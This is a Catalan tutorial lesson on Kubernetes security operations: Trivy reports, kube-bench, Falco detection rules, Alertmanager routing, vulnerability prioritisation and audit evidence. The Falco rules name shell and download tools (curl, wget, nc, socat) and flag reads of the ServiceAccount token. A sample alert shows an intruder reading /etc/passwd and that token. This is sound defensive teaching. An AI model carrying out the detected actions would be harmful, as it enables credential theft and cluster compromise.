| "\(.vulnerabilityID) \(.resource) \(.installedVersion) -> \(.fixedVersion)\n \(.title)"'Els altres informes de l'operador
| Recurs | Què conté |
|---|---|
vulnerabilityreports |
Vulnerabilitats de les imatges |
configauditreports |
Males configuracions dels manifests |
exposedsecretreports |
Secrets trobats dins de les imatges |
rbacassessmentreports |
Permisos RBAC excessius |
infraassessmentreports |
Configuració dels components del pla de control |
clustercompliancereports |
Compliment d'estàndards (CIS, NSA) |
Els configauditreports mereixen atenció perquè comproven coses de 08-02 i 08-03:
kubectl get configauditreports -n rutas-norte-pro \
-o custom-columns='CARREGA:.metadata.name,CRIT:.report.summary.criticalCount,ALTA:.report.summary.highCount'CARREGA CRIT ALTA
replicaset-api-reserves-6d4f8b9c7 0 0
statefulset-postgres-reserves 0 1
daemonset-fluent-bit-collector 0 2kubectl get configauditreport -n rutas-norte-pro statefulset-postgres-reserves \
-o json | jq -r '.report.checks[] | select(.severity == "HIGH")
| "\(.checkID): \(.title)\n \(.description)"'KSV014: Root file system is not read-only
An immutable root file system prevents applications from writing to their
local disk.És exactament l'excepció documentada de 08-02. L'operador la detecta correctament; la nostra tasca és tenir-la registrada com a excepció conscient, no ignorar-la.
I el clustercompliancereports dona la visió de conjunt:
- Avaluació del clúster amb kube-bench i els estàndards CIS
Els escanejos anteriors miren les càrregues. kube-bench mira el clúster: comprova la configuració dels components del pla de control i dels nodes contra el CIS Kubernetes Benchmark, un conjunt de recomanacions de configuració segura mantingut pel Center for Internet Security.
# k8s/seguretat/kube-bench-job.yaml
apiVersion: batch/v1
kind: Job
metadata:
name: kube-bench-nodes
namespace: rutas-norte-sistema # el namespace privilegiat de 08-03
spec:
template:
spec:
# kube-bench necessita llegir la configuració del node: per això va aquí
hostPID: true
restartPolicy: Never
containers:
- name: kube-bench
image: registry.rutasnorte.example/externes/kube-bench:v0.8.0
command: ["kube-bench", "run", "--targets", "node", "--json"]
securityContext:
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities: { drop: ["ALL"] }
volumeMounts:
- { name: var-lib-kubelet, mountPath: /var/lib/kubelet, readOnly: true }
- { name: etc-kubernetes, mountPath: /etc/kubernetes, readOnly: true }
- { name: etc-systemd, mountPath: /etc/systemd, readOnly: true }
volumes:
- name: var-lib-kubelet
hostPath: { path: /var/lib/kubelet }
- name: etc-kubernetes
hostPath: { path: /etc/kubernetes }
- name: etc-systemd
hostPath: { path: /etc/systemd }Fixa't que aquest Job fa servir hostPID i hostPath, que a 08-03 vam prohibir a rutas-norte-pro. Per això va a rutas-norte-sistema, el namespace amb perfil privileged. És un ús legítim i acotat: només llegeix, i està endurit en tota la resta.
kubectl apply -f k8s/seguretat/kube-bench-job.yaml
kubectl logs -n rutas-norte-sistema job/kube-bench-nodes | head -40[INFO] 4 Worker Node Security Configuration
[INFO] 4.1 Worker Node Configuration Files
[PASS] 4.1.1 Ensure that the kubelet service file permissions are set to 600 or more restrictive
[PASS] 4.1.2 Ensure that the kubelet service file ownership is set to root:root
[PASS] 4.1.5 Ensure that the --kubeconfig kubelet.conf file permissions are set to 600
[INFO] 4.2 Kubelet
[PASS] 4.2.1 Ensure that the --anonymous-auth argument is set to false
[PASS] 4.2.2 Ensure that the --authorization-mode argument is not set to AlwaysAllow
[FAIL] 4.2.6 Ensure that the --protect-kernel-defaults argument is set to true
[PASS] 4.2.9 Ensure that the --event-qps argument is set to 0 or a level which ensures appropriate event capture
[WARN] 4.2.12 Ensure that the RotateKubeletServerCertificate argument is set to true
== Remediations node ==
4.2.6 If using a Kubelet config file, edit the file to set protectKernelDefaults: true.
If using command line arguments, edit the kubelet service file
/etc/systemd/system/kubelet.service.d/10-kubeadm.conf and set --protect-kernel-defaults=true
== Summary node ==
21 checks PASS
1 checks FAIL
2 checks WARNQuè fer amb les troballes
Aquest és el punt on molts equips es perden: kube-bench retorna desenes de comprovacions i no totes són igual d'importants ni totes són aplicables.
| Tipus de troballa | Què fer |
|---|---|
FAIL al pla de control |
Prioritat alta. Solen ser canvis de configuració concrets amb remeiació documentada |
FAIL al kubelet |
Prioritat alta. Recorda de 08-04 la importància de la configuració del kubelet |
WARN |
Revisar cas per cas; sovint depèn de l'entorn |
INFO |
Informatiu |
| No aplicable a Kubernetes gestionat | Documentar com a no aplicable, no ignorar en silenci |
Aquell últim punt és important. A EKS, AKS o GKE no tens accés al pla de control, així que gairebé totes les comprovacions de la secció 1 són inaplicables. El correcte no és ignorar-les: és documentar que les gestiona el proveïdor i, si l'organització ho requereix, demanar-li el seu informe de compliment.
Les troballes d'aquest exemple, resoltes:
| Troballa | Acció | Estat |
|---|---|---|
4.2.6 --protect-kernel-defaults |
Afegir a la configuració del kubelet i reiniciar els nodes per tandes | Planificat |
| 4.2.12 Rotació de certificats del kubelet | Activar RotateKubeletServerCertificate |
Planificat |
I per no dependre d'execucions manuals, un CronJob setmanal el resultat del qual alimenti el mateix procés de gestió que les vulnerabilitats:
apiVersion: batch/v1
kind: CronJob
metadata:
name: kube-bench-setmanal
namespace: rutas-norte-sistema
spec:
schedule: "0 5 * * 1" # dilluns a les 05:00
jobTemplate:
spec:
template:
spec:
# (mateixa especificació que el Job anterior)
restartPolicy: Never
containers:
- name: kube-bench
image: registry.rutasnorte.example/externes/kube-bench:v0.8.0
command:
- sh
- -c
- |
kube-bench run --targets node --json > /tmp/resultat.json
fallades=$(jq '[.Controls[].tests[].results[]
| select(.status == "FAIL")] | length' /tmp/resultat.json)
echo "Comprovacions fallides: $fallades"
cat /tmp/resultat.json
# Si augmenten respecte de la línia base coneguda, sortir amb error
[ "$fallades" -le 2 ] || exit 1La comparació amb una línia base coneguda és la clau perquè això sigui útil: no alerta de les troballes ja conegudes i acceptades, només de les desviacions noves. Una eina que alerta del mateix cada setmana s'acaba silenciant.
- Detecció en temps d'execució amb Falco
Tot l'anterior és preventiu (impedir) o de configuració (comprovar). Falco és detectiu: observa el que passa de debò, mentre passa.
Què observa
Falco intercepta les crides al sistema que fan els processos dels contenidors, fent servir eBPF o un mòdul del kernel. Cada vegada que un procés obre un fitxer, executa un binari, crea una connexió o llegeix un descriptor, Falco ho veu i ho compara amb les seves regles.
Això és el que li permet detectar coses que cap control preventiu no pot:
| Control | Quan actua | Què no veu |
|---|---|---|
| RBAC (08-01) | Peticions a l'API | Res del que passa dins del contenidor |
| PSA (08-03) | Creació del pod | El que fa el pod després |
| NetworkPolicy (08-04) | Connexions de xarxa | Activitat local al contenidor |
| Escaneig (apartat 5) | Abans del desplegament | El que passa en execució |
| Falco | Contínuament, en execució | — |
Instal·lació
helm repo add falcosecurity https://falcosecurity.github.io/charts
helm install falco falcosecurity/falco \
--namespace rutas-norte-sistema \
--set driver.kind=modern_ebpf \
--set falcosidekick.enabled=true \
--set falcosidekick.config.alertmanager.hostport=http://alertmanager.monitoratge:9093modern_ebpf fa servir el suport d'eBPF del kernel sense necessitat de compilar un mòdul, que és l'opció preferida en kernels recents. Falco corre com a DaemonSet a rutas-norte-sistema perquè necessita privilegis de node: és un dels casos legítims de l'apartat 6 de 08-03.
Regles per a Rutas Norte
# k8s/seguretat/falco-regles-rutasnorte.yaml
apiVersion: v1
kind: ConfigMap
metadata:
name: falco-regles-rutasnorte
namespace: rutas-norte-sistema
data:
rutasnorte_regles.yaml: |
# ============================================================
# Llistes i macros reutilitzables
# ============================================================
- list: namespaces_produccio
items: [rutas-norte-pro]
- list: binaris_shell
items: [bash, sh, zsh, ash, dash, ksh, csh, fish]
- macro: en_produccio
condition: k8s.ns.name in (namespaces_produccio)
- macro: contenidor
condition: container.id != host
# ============================================================
# Regla 1: shell oberta en un contenidor de producció
# ============================================================
# Les nostres imatges distroless (08-05) NO tenen shell. Que aparegui
# un procés de shell a producció significa una de dues coses:
# a) algú va fer kubectl exec (hauria de veure's a l'auditoria), o
# b) algú executa codi dins del contenidor.
# Totes dues requereixen investigació immediata.
- rule: Shell oberta en contenidor de produccio
desc: >-
S'ha iniciat un procés d'intèrpret d'ordres dins d'un
contenidor del namespace de producció. Les imatges de Rutas Norte
no inclouen shell, per la qual cosa això no hauria de passar mai.
condition: >
spawned_process
and contenidor
and en_produccio
and proc.name in (binaris_shell)
output: >
Shell oberta a produccio
(usuari=%user.name proces=%proc.cmdline pare=%proc.pname
contenidor=%container.name imatge=%container.image.repository
pod=%k8s.pod.name ns=%k8s.ns.name)
priority: CRITICAL
tags: [rutasnorte, produccio, shell, T1059]
# ============================================================
# Regla 2: escriptura en directoris del sistema
# ============================================================
# Tots els nostres contenidors porten readOnlyRootFilesystem: true
# (08-02), així que això hauria de fallar SEMPRE. Si l'intent existeix,
# alguna cosa està intentant modificar binaris o configuració del sistema.
- rule: Escriptura en directori del sistema
desc: >-
Intent d'escriptura en un directori del sistema dins d'un
contenidor. Amb readOnlyRootFilesystem l'intent fallarà, però
la seva mera existència indica activitat anòmala.
condition: >
open_write
and contenidor
and en_produccio
and fd.name startswith (/bin, /sbin, /usr/bin, /usr/sbin, /usr/lib,
/lib, /etc, /boot)
and not proc.name in (dpkg, apt, apk, rpm)
output: >
Escriptura en directori del sistema
(fitxer=%fd.name proces=%proc.cmdline usuari=%user.name
pod=%k8s.pod.name ns=%k8s.ns.name imatge=%container.image.repository)
priority: CRITICAL
tags: [rutasnorte, produccio, integritat, T1222]
# ============================================================
# Regla 3: lectura del token de la ServiceAccount
# ============================================================
# A 03-06 vam posar automountServiceAccountToken: false a gairebé tot.
# Els pocs pods que sí que el munten el llegeixen a través de la seva
# biblioteca client. Una lectura des d'una shell o una utilitat genèrica és
# el patró clàssic de reconeixement després d'un compromís.
- rule: Lectura del token de ServiceAccount per proces inesperat
desc: >-
Un procés que no és l'aplicació ha llegit el token de la
ServiceAccount muntat al pod.
condition: >
open_read
and contenidor
and fd.name contains /var/run/secrets/kubernetes.io/serviceaccount/token
and not proc.name in (node, python3, java, nginx, postgres, redis-server)
output: >
Token de ServiceAccount llegit per proces inesperat
(proces=%proc.cmdline usuari=%user.name pare=%proc.pname
pod=%k8s.pod.name ns=%k8s.ns.name sa=%k8s.pod.serviceaccount)
priority: CRITICAL
tags: [rutasnorte, credencials, T1552]
# ============================================================
# Regla 4: connexió sortint inesperada
# ============================================================
# Complementa la NetworkPolicy de 08-04: la política BLOQUEJA, Falco
# REGISTRA l'intent amb el procés que el va fer, que és informació
# que la política no pot donar.
- rule: Connexio sortint des de component sense permis de sortida
desc: >-
Un component que no ha d'arribar a internet ha intentat obrir una
connexió sortint. La NetworkPolicy ho bloquejarà, però registrem
quin procés ho va intentar.
condition: >
outbound
and contenidor
and en_produccio
and k8s.pod.label.app in (botiga-web, postgres-reserves, redis-cache,
informes-ocupacio)
and not fd.sip in (cluster_cidr)
and not fd.sport in (53)
output: >
Connexio sortint inesperada
(desti=%fd.sip:%fd.sport proces=%proc.cmdline
pod=%k8s.pod.name app=%k8s.pod.label.app ns=%k8s.ns.name)
priority: WARNING
tags: [rutasnorte, xarxa, exfiltracio, T1041]
# ============================================================
# Regla 5: eines de descàrrega a producció
# ============================================================
- rule: Eina de descarrega executada a produccio
desc: >-
S'ha executat curl, wget o una altra eina de descàrrega dins d'un
contenidor de producció. Les nostres imatges no les inclouen.
condition: >
spawned_process
and contenidor
and en_produccio
and proc.name in (curl, wget, nc, ncat, socat, ftp, tftp)
output: >
Eina de descarrega a produccio
(proces=%proc.cmdline pare=%proc.pname pod=%k8s.pod.name
imatge=%container.image.repository)
priority: CRITICAL
tags: [rutasnorte, produccio, T1105]
# ============================================================
# Regla 6: modificació de la configuració de contenidors
# ============================================================
- rule: Acces al socket de l'entorn d'execucio
desc: >-
Un procés ha accedit al socket de containerd o Docker. Com
vam veure a 08-02, això equival a privilegis de node.
condition: >
(open_read or open_write)
and contenidor
and fd.name in (/var/run/docker.sock, /run/containerd/containerd.sock,
/var/run/crio/crio.sock)
output: >
Acces al socket de l'entorn d'execucio
(fitxer=%fd.name proces=%proc.cmdline pod=%k8s.pod.name
ns=%k8s.ns.name)
priority: CRITICAL
tags: [rutasnorte, escapada, T1610]Fixa't en el fil que recorre totes les regles: cadascuna es recolza en una decisió de disseny de les lliçons anteriors. La regla de la shell funciona perquè fem servir imatges distroless (08-05). La d'escriptura al sistema, perquè vam posar readOnlyRootFilesystem (08-02). La del token, perquè vam desmuntar els tokens innecessaris (03-06). La de sortida, perquè vam restringir l'egrés (08-04).
Un bon conjunt de regles de detecció no és genèric: és el reflex del que la teva plataforma hauria i no hauria de fer. I precisament per això, com més estricta és la configuració, més significativa és cada alerta i menys falsos positius hi ha.
Veure les alertes
03:47:08.229481022: Critical Shell oberta a produccio (usuari=root
proces=sh -c "cat /etc/passwd" pare=node contenidor=worker
imatge=registry.rutasnorte.example/rutasnorte/worker-notificacions
pod=worker-notificacions-6d4f8b9c7-k9x2 ns=rutas-norte-pro)
03:47:09.884113047: Critical Token de ServiceAccount llegit per proces inesperat
(proces=cat /var/run/secrets/kubernetes.io/serviceaccount/token usuari=root
pare=sh pod=worker-notificacions-6d4f8b9c7-k9x2 ns=rutas-norte-pro
sa=worker-notificacions)Aquell és el mateix pod de l'exercici de 08-04, ara vist des de dins. Falco ens diu exactament quin procés es va llançar i amb quina línia d'ordres. Combinat amb els fluxos de xarxa de Hubble i amb els 403 del registre d'auditoria, tenim la reconstrucció completa de l'incident des de tres fonts independents.
- Integrar les alertes de Falco amb Alertmanager
Al mòdul 7 vam muntar Alertmanager amb les seves rutes, els seus silencis i els seus canals. Falco ha de fer servir aquella infraestructura, no crear-ne una de paral·lela.
Falcosidekick és el component que reenvia les alertes de Falco a diferents destins:
# k8s/seguretat/falcosidekick-valors.yaml
falcosidekick:
enabled: true
config:
# Envia a Alertmanager, que ja sap encaminar (07-04)
alertmanager:
hostport: "http://alertmanager.monitoratge.svc.cluster.local:9093"
minimumpriority: "warning"
# Etiquetes que permeten encaminar a Alertmanager
customfields: "plataforma:rutas-norte,origen:falco"
extralabels: "equip:plataforma"
# Mètriques per a Prometheus: permet quadres de comandament i alertes agregades
prometheus:
extralabels: "plataforma:rutas-norte"
# Els esdeveniments també van al log centralitzat (07-05)
elasticsearch:
hostport: "http://elasticsearch.registre.svc.cluster.local:9200"
index: "falco-seguretat"
minimumpriority: "notice"I la ruta a Alertmanager:
# k8s/base/monitoratge/alertmanager-config.yaml (fragment)
route:
receiver: equip-plataforma
group_by: [alertname, namespace]
routes:
# Alertes de seguretat crítiques: canal dedicat i avís immediat
- matchers:
- origen = "falco"
- severity = "critica"
receiver: seguretat-urgent
group_wait: 0s # sense agrupar: s'envia a l'instant
repeat_interval: 15m
continue: true # continua avaluant: també al canal general
- matchers:
- origen = "falco"
receiver: seguretat-general
group_interval: 5m
receivers:
- name: seguretat-urgent
webhook_configs:
- url: https://avisos.rutasnorte.example/guardia-seguretat
# A més de la guàrdia, al canal de l'equip
# (configuració del canal segons l'eina de l'organització)
- name: seguretat-general
webhook_configs:
- url: https://avisos.rutasnorte.example/canal-seguretatDetalls de la configuració que importen:
group_wait: 0sper a les crítiques: durant un incident en curs, agrupar durant 30 segons és temps perdut.continue: true: l'alerta s'envia a la guàrdia i al canal de l'equip, perquè en quedi constància visible.- Elasticsearch a més d'Alertmanager: les alertes queden cercables juntament amb els logs del mòdul 7, cosa que permet correlacionar durant la investigació.
I una regla agregada a Prometheus, per detectar patrons que una alerta individual no capta:
apiVersion: monitoring.coreos.com/v1
kind: PrometheusRule
metadata:
name: alertes-falco
namespace: monitoratge
spec:
groups:
- name: seguretat-temps-execucio
rules:
- alert: RafegaDAlertesDeSeguretat
expr: |
sum by (k8s_ns_name, k8s_pod_name) (
rate(falco_events{priority=~"Critical|Error"}[5m])
) > 0.1
for: 2m
labels:
severity: critica
equip: plataforma
origen: falco-agregat
annotations:
summary: >-
Ràfega d'esdeveniments de seguretat a {{ $labels.k8s_pod_name }}
description: >-
El pod {{ $labels.k8s_ns_name }}/{{ $labels.k8s_pod_name }} està
generant esdeveniments crítics de Falco de forma sostinguda. Un esdeveniment
aïllat pot ser una operació legítima; una ràfega indica
activitat anòmala en curs.
Procediment de contenció: aïllar el pod canviant la seva etiqueta
app i aplicar la NetworkPolicy de quarantena.
runbook_url: https://wiki.rutasnorte.example/runbooks/incident-falco
- alert: FalcoNoEstaFuncionant
expr: |
count(kube_daemonset_status_number_ready{daemonset="falco"}) == 0
or
kube_daemonset_status_number_ready{daemonset="falco"}
< kube_daemonset_status_desired_number_scheduled{daemonset="falco"}
for: 10m
labels:
severity: critica
equip: plataforma
annotations:
summary: "Falco no està corrent a tots els nodes"
description: >-
Sense Falco en un node, l'activitat dels seus contenidors no
s'observa. Un atacant podria desactivar-lo deliberadament.Aquella segona alerta és tan important com les primeres i s'oblida constantment: cal vigilar que el vigilant funcioni. Un sistema de detecció apagat no genera alertes, i l'absència d'alertes es confon molt fàcilment amb l'absència de problemes.
Reduir el soroll
Falco acabat d'instal·lar genera molts falsos positius. El procés és el mateix que hem seguit amb el PSA i el WAF:
- Desplegar i observar durant una o dues setmanes sense encaminar alertes a ningú.
- Identificar els patrons legítims que disparen regles.
- Afegir excepcions específiques (no desactivar la regla sencera).
- Només aleshores, encaminar a la guàrdia.
# Exemple d'excepció ben acotada
- rule: Shell oberta en contenidor de produccio
append: true
exceptions:
- name: sondes_del_recollector_de_logs
fields: [k8s.pod.label.app, proc.pname]
comps: [=, =]
values:
- [fluent-bit, tini]Una excepció per etiqueta d'aplicació i procés pare és específica. Desactivar la regla en tot un namespace no ho és. La diferència decideix si l'eina serveix d'alguna cosa d'aquí a sis mesos.
- Gestió de vulnerabilitats com a procés
Aquí arribem al que de debò falta a la majoria d'equips. Tenir eines que troben vulnerabilitats és la part fàcil. El difícil és fer-hi alguna cosa de forma sostinguda.
El patró de fracàs és sempre el mateix: s'instal·la un escàner, llança 340 troballes, ningú no sap per on començar, es decideix "ho mirem la setmana que ve", i sis mesos després en són 780 i ningú no les mira.
Els cinc elements del procés
flowchart LR
A["1. Inventari<br/>què tinc?"] --> B["2. Priorització<br/>què importa?"]
B --> C["3. Terminis<br/>per a quan?"]
C --> D["4. Responsable<br/>qui?"]
D --> E["5. Excepcions<br/>què no arreglo<br/>i fins quan?"]
E --> A
- Inventari
No pots gestionar el que no coneixes. L'inventari respon a: quines imatges estan corrent, amb quin digest, què contenen, i des de quan.
Ja tenim les peces de 08-05: el registre propi, els digests i els SBOM. Només cal ajuntar-les:
#!/usr/bin/env bash
# seguretat/inventari.sh — inventari del que corre a producció
kubectl get pods -n rutas-norte-pro -o json | jq -r '
.items[]
| .metadata.labels.app as $app
| .status.containerStatuses[]?
| "\($app)\t\(.name)\t\(.imageID)"' | sort -uapi-reserves api registry.rutasnorte.example/rutasnorte/api-reserves@sha256:9f2c1d4e...
api-reserves ambaixador-pagaments registry.rutasnorte.example/rutasnorte/ambaixador-pagaments@sha256:3c8e1f5a...
botiga-web nginx registry.rutasnorte.example/externes/nginx-unprivileged@sha256:7d3b2f8e...
postgres-reserves exportador-metriques registry.rutasnorte.example/externes/postgres-exporter@sha256:1b4e7a2c...
postgres-reserves postgres registry.rutasnorte.example/externes/postgres@sha256:2a7f4c8d...
redis-cache redis registry.rutasnorte.example/externes/redis@sha256:6d1a3f9b...
worker-notificacions adaptador-logs registry.rutasnorte.example/rutasnorte/adaptador-logs@sha256:4f2c9e1d...
worker-notificacions worker registry.rutasnorte.example/rutasnorte/worker-notificacions@sha256:5e8a1b7c...Vuit imatges. Un inventari que cap en una pantalla és un inventari que es pot gestionar.
- Priorització realista
Aquest és l'apartat més important i el pitjor entès.
No tot CVE crític és urgent. La severitat d'un CVE (el CVSS) mesura la gravetat en abstracte, sense conèixer el teu entorn. Un CVSS 9.8 en un component que no és a la teva ruta d'execució, o que no processa entrada externa, és menys urgent que un CVSS 6.5 a la biblioteca que interpreta les peticions HTTP d'
api-reserves.
Els factors que cal combinar:
| Factor | Pregunta | Pes |
|---|---|---|
| Severitat (CVSS) | Com de greu és en abstracte? | Punt de partida |
| Hi ha correcció? | Puc actualitzar avui? | Alt: sense correcció no hi ha acció |
| S'explota activament? | És al catàleg KEV de vulnerabilitats explotades? | Molt alt |
| Exposició | El component atén peticions d'internet? | Molt alt |
| Ruta d'execució | Es fa servir realment el codi vulnerable? | Alt |
| Dades afectades | Dona accés a dades personals? | Molt alt |
| Compensacions | Hi ha controls que ho mitiguen? | Mitjà |
Aplicat a Rutas Norte amb dues troballes reals:
CVE-2026-12033 (jsonwebtoken) |
CVE-2026-11042 (libssl3) |
|
|---|---|---|
| Severitat | CRITICAL (9.1) | HIGH (7.5) |
| Correcció? | Sí: 9.0.3 | Sí: 3.0.15-1 |
| Al KEV? | No | No |
| Component | api-reserves, exposat a internet |
api-reserves |
| Es fa servir la ruta? | Sí: valida els tokens de sessió de cada petició | No: la ruta afectada és la de renegociació TLS, que no fem servir |
| Dades personals? | Sí: la sessió dona accés a les reserves del client | Indirectament |
| Compensacions | Cap | El TLS el termina l'Ingress (04-05), no l'aplicació |
| Prioritat | P1: corregir en 24 h | P3: al cicle normal |
Totes dues tenen correcció. Una és crítica i l'altra alta. Però la primera afecta directament la validació de sessions d'una API pública que dona accés a dades de clients, i la segona és en una ruta de codi que ni tan sols s'executa. Tractar-les igual seria un error de gestió en les dues direccions: retardaria la urgent i forçaria presses innecessàries a l'altra.
Eines que ajuden a aquesta priorització:
| Font | Què aporta |
|---|---|
| KEV (catàleg de vulnerabilitats explotades conegudes) | Llista de CVE amb explotació confirmada. Si és aquí, és P1 |
| EPSS (sistema de puntuació de probabilitat d'explotació) | Probabilitat que s'exploti en els pròxims 30 dies |
| VEX (intercanvi d'explotabilitat) | Declaració del fabricant sobre si el seu producte està realment afectat |
| SBOM propi (08-05) | Si el component és o no a la ruta d'execució |
# Trivy pot incorporar EPSS i KEV a l'informe
trivy image --scanners vuln \
--vex repo \
--severity CRITICAL,HIGH \
registry.rutasnorte.example/rutasnorte/api-reserves:2.7.1
- Terminis per severitat
Sense terminis, "ho arreglem quan puguem" significa mai. La taula de Rutas Norte:
| Prioritat | Criteri | Termini de correcció | Escalat si s'incompleix |
|---|---|---|---|
| P1 | Crítica explotable en component exposat, o present al KEV | 24 hores | Direcció tècnica immediatament |
| P2 | Crítica o alta amb correcció, en component exposat | 7 dies | Responsable de plataforma als 7 dies |
| P3 | Alta amb correcció, component no exposat | 30 dies | Revisió mensual |
| P4 | Mitjana | 90 dies | Cicle normal d'actualització |
| P5 | Baixa, o sense correcció disponible | Següent reconstrucció programada | Revisió trimestral |
Aquests terminis es compten des de la detecció, no des de la publicació del CVE. I hi ha una conseqüència operativa que cal assumir: complir 24 hores per a un P1 exigeix que el procés de reconstrucció, escaneig, signatura i desplegament funcioni en menys que això. És exactament l'argument de 08-05 sobre reconstruir setmanalment: un procediment que s'executa sovint és un procediment que respon quan cal.
- Responsable assignat
| Àmbit | Responsable |
|---|---|
| Dependències de l'aplicació (npm, PyPI) | L'equip que manté el component |
| Imatges base | Plataforma |
Imatges públiques replicades (externes/) |
Plataforma |
| Configuració del clúster (troballes de kube-bench) | Plataforma |
| Decisió sobre excepcions | Plataforma + seguretat |
| Excepcions que afecten dades personals | + responsable de compliment |
Sense un nom, cada troballa és responsabilitat de tothom, que és la forma més eficaç que no ho sigui de ningú.
- Excepcions documentades amb data de caducitat
Hi haurà vulnerabilitats que no es puguin corregir a temps. Això és normal i acceptable si es gestiona.
# seguretat/excepcions-vulnerabilitats.yaml
# Registre d'excepcions vigents. Revisió mensual.
# Una excepció caducada bloqueja la construcció fins que es renova o es corregeix.
excepcions:
- cve: CVE-2025-98004
component: zlib1g
imatges: ["rutasnorte/api-reserves", "rutasnorte/worker-notificacions"]
severitat: LOW
motiu: >-
Sense correcció disponible del mantenidor. La ruta de codi afectada
(descompressió de fluxos gzip malformats) no s'executa: l'aplicació
no descomprimeix contingut d'origen extern.
mitigacio: >-
L'Ingress rebutja cossos comprimits superiors a 2 MB (08-04).
aprovada_per: seguretat
responsable: plataforma
data_aprovacio: 2026-08-01
data_caducitat: 2026-10-01 # OBLIGATÒRIA
revisio: mensual
- cve: CVE-2026-10877
component: libc6
imatges: ["rutasnorte/api-reserves"]
severitat: MEDIUM
motiu: >-
La correcció requereix pujar la imatge base a Debian 13, que trenca la
compatibilitat d'una dependència nativa. Migració planificada.
mitigacio: >-
El component corre sense root, amb capacitats eliminades i sistema de
fitxers de només lectura (08-02).
aprovada_per: seguretat
responsable: equip-api
data_aprovacio: 2026-07-15
data_caducitat: 2026-09-15
tasca: PLAT-1847
revisio: quinzenalI la comprovació automàtica que dona sentit a la data de caducitat:
#!/usr/bin/env bash
# ci/verificar-excepcions.sh
# Falla si hi ha excepcions caducades. S'executa en cada construcció.
set -euo pipefail
AVUI=$(date -u +%Y-%m-%d)
caducades=0
while read -r cve caducitat responsable; do
if [[ "$caducitat" < "$AVUI" ]]; then
echo "CADUCADA: $cve (va vèncer el $caducitat, responsable: $responsable)"
caducades=$((caducades + 1))
fi
done < <(yq -r '.excepcions[] | "\(.cve) \(.data_caducitat) \(.responsable)"' \
seguretat/excepcions-vulnerabilitats.yaml)
if [[ "$caducades" -gt 0 ]]; then
echo
echo "Hi ha $caducades excepcions caducades. Corregeix la vulnerabilitat o"
echo "renova l'excepció amb aprovació de seguretat abans de continuar."
exit 1
fi
echo "Totes les excepcions vigents."Això és el que converteix una excepció en una decisió gestionada en lloc d'un oblit permanent. Sense data de caducitat, .trivyignore es converteix en el cementiri on van a morir les vulnerabilitats que ningú no va voler mirar.
El ritme del procés
| Freqüència | Activitat | Qui |
|---|---|---|
| Cada construcció | Escaneig amb llindar; comprovació d'excepcions caducades | Automàtic |
| Diària | Informe d'auditoria; revisió d'alertes de Falco | Plataforma (15 min) |
| Setmanal | Escaneig del registre i del que corre; kube-bench | Automàtic + revisió |
| Setmanal | Reconstrucció programada de totes les imatges (08-05) | Automàtic |
| Quinzenal | Repàs de troballes P2 i P3 obertes | Plataforma |
| Mensual | Revisió d'excepcions properes a caducar | Plataforma + seguretat |
| Trimestral | Revisió de RBAC (08-01), polítiques de xarxa (08-04) i excepcions | Plataforma + seguretat |
| Trimestral | Revisió d'accessos a dades personals | + compliment |
| Anual | Revisió completa del disseny de seguretat | Direcció + seguretat externa |
- Evidències i auditories de compliment
Quan arriba una auditoria —d'una certificació, d'un client corporatiu o d'una autoritat de control— no n'hi ha prou amb dir "sí, tenim controls". Cal demostrar-ho amb evidències.
Què demanen les auditories i d'on surt
| Pregunta de l'auditor | Evidència | Origen |
|---|---|---|
| Qui pot accedir a les dades personals? | Sortida de kubectl auth can-i per grup, datada |
08-01 |
| Qui hi va accedir realment l'últim trimestre? | Consulta del registre d'auditoria sobre Secrets | Aquesta lliçó |
| Com garantiu que només s'executa programari aprovat? | Polítiques d'admissió + verificació de signatures | 08-03, 08-05 |
| Com detecteu activitat anòmala? | Regles de Falco + alertes de Hubble | Aquesta lliçó, 08-04 |
| Quin és el vostre procés de gestió de vulnerabilitats? | Document del procés + registre d'excepcions | Aquesta lliçó |
| Quant trigueu a corregir una vulnerabilitat crítica? | Historial de terminis reals davant dels compromesos | Registre de tasques |
| Està xifrat l'emmagatzematge de dades personals? | Configuració de la StorageClass + xifratge d'etcd | 05-04, 08-04 |
| Com es protegeix la còpia de seguretat? | Configuració de Velero + xifratge | 05-06 |
| Es revisen els permisos periòdicament? | Actes de les revisions trimestrals | 08-01 |
Quines evidències conservar i quant
| Evidència | Retenció suggerida | Motiu |
|---|---|---|
| Registre d'auditoria de l'apiserver | 90 dies en calent, 1 any en fred | Investigació d'incidents; molts es detecten mesos després |
| Alertes de Falco | 1 any | Correlació en investigacions |
| Informes d'escaneig d'imatges | 1 any | Demostrar l'estat en un moment donat |
| Informes de kube-bench | 1 any | Evolució del compliment |
| Registre d'excepcions (històric) | Permanent | Demostrar que les decisions van ser conscients |
| Actes de revisió trimestral | 3 anys | Demostrar la periodicitat del procés |
| Signatures i atestacions d'imatges | Mentre la imatge estigui desplegada + 1 any | Traçabilitat de què es va executar |
Consideració de protecció de dades sobre el mateix registre d'auditoria. El log d'auditoria conté noms d'usuari, adreces IP i marques temporals: són dades personals dels empleats. El seu tractament necessita la seva pròpia base legal, el seu termini de conservació definit i el seu control d'accés. No és un fitxer tècnic neutre. El termini de retenció l'ha de fixar el responsable de compliment, equilibrant la necessitat d'investigació amb el principi de minimització.
I una recomanació pràctica: automatitza la generació d'evidències. Un informe trimestral que es genera sol, amb data i signatura, val més que un document que algú escriu a mà la setmana abans de l'auditoria.
#!/usr/bin/env bash
# seguretat/generar-evidencies-trimestrals.sh
TRIMESTRE=$(date +%Y-Q%q 2>/dev/null || date +%Y-%m)
DIR="evidencies/$TRIMESTRE"
mkdir -p "$DIR"
echo "Generant evidències per a $TRIMESTRE..."
# 1. Qui pot accedir a Secrets de producció
{
echo "# Permisos sobre Secrets a rutas-norte-pro — $(date -u)"
for grup in desenvolupament plataforma suport analitica; do
for verb in get list watch; do
printf "%-16s %-6s %s\n" "$grup" "$verb" \
"$(kubectl auth can-i "$verb" secrets --as-group "$grup" --as auditor -n rutas-norte-pro)"
done
done
} > "$DIR/permisos-secrets.txt"
# 2. Accessos reals registrats
jq -r 'select(.objectRef.resource == "secrets" and .objectRef.namespace == "rutas-norte-pro")
| "\(.stageTimestamp) \(.user.username) \(.verb) \(.objectRef.name // "TOTS") \(.responseStatus.code)"' \
/var/log/kubernetes/auditoria.log > "$DIR/accessos-secrets.txt"
# 3. Estat de vulnerabilitats
kubectl get vulnerabilityreports -A -o json \
| jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name)\t\(.report.summary)"' \
> "$DIR/vulnerabilitats.txt"
# 4. Excepcions vigents
cp seguretat/excepcions-vulnerabilitats.yaml "$DIR/"
